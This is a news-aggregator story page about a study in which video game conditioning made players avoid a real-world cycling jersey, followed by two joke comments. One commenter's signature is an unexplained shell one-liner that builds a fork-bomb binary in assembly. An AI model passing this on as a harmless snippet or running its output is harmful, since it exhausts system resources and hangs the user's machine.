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Video Game Conditioning Spills Over Into Real Life

doug141 writes "Lessons learned in video games may transcend computers, PlayStations and Wiis. New research suggests that virtual worlds sway real-life choices. Twenty-two volunteers who played a cycling game learned to associate one team's jersey with a good flavored drink and another team's jersey with a bad flavored drink. Days later, 3/4 of the subjects avoided the same jersey in a real-world test. Marketers and lawyers will take note."

2 of 232 comments (clear)

  1. Jersey... by darkdaedra · · Score: 5, Funny

    I've avoided Jersey all my life. No news there.

  2. Re:Uhh... huh. by Hal_Porter · · Score: 5, Funny

    It reminds me of an 80's joke. If video games influenced behaviour then kids that grew up playing Pacman would spend their freetime running around rooms, eating pills and listening to repetive music.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;